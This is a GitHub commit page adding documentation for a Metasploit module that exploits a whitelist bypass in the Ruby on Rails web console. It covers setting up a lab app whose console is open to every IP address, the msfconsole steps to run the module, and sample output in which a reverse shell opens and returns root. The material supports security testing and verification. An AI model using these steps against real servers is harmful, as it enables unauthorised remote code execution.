Skip to content

Commit a1a1a0a

Browse files
committed
land-8206 docs for rais_web_console_v2_code_exec
2 parents b25cdd2 + 1360303 commit a1a1a0a

File tree

1 file changed

+54
-0
lines changed

1 file changed

+54
-0
lines changed
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
## Description
2+
3+
This module exploits an IP whitelist bypass vulnerability in the developer web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also achieve code execution on Rails 4.2.x if the attack is launched from a whitelisted IP range.
4+
5+
## Verification Steps
6+
7+
**Prerequisites:**
8+
9+
```
10+
gem install rails -v 4.2.6
11+
rails new taco
12+
cd taco
13+
vim config/environments/development.rb
14+
```
15+
16+
Add the following line just before the final `end` tag:
17+
18+
```config.web_console.whitelisted_ips = %w(0.0.0.0/0)```
19+
20+
```
21+
bundle
22+
rails server
23+
```
24+
25+
**Installing nodejs:**
26+
27+
```
28+
sudo apt-get install nodejs
29+
```
30+
31+
**Launch msfconsole:**
32+
33+
1. Do: ```use exploit/multi/http/rails_web_console_v2_code_exec```
34+
2. Do: ```set RHOST [IP]```
35+
3. Do: ```set RPORT [Port]```
36+
4. Do: ```run```
37+
38+
## Sample Output
39+
40+
### Rails version 4.2.6
41+
42+
```
43+
msf > use exploit/multi/http/rails_web_console_v2_code_exec
44+
msf exploit(rails_web_console_v2_code_exec) > set RHOST 192.168.0.106
45+
msf exploit(rails_web_console_v2_code_exec) > set RPORT 35678
46+
msf exploit(rails_web_console_v2_code_exec) > run
47+
48+
[*] Started reverse TCP handler on 192.168.0.102:4444
49+
[*] Sending payload to /__web_console/repl_sessions/d89c2f96387f4b9dd612c0abb7c06577
50+
[*] Command shell session 1 opened (192.168.0.102:4444 -> 192.168.0.106:35678) at 2017-04-07 04:13:52 +0800
51+
52+
id
53+
uid=0(root) gid=0(root) groups=0(root)
54+
```

0 commit comments

Comments
 (0)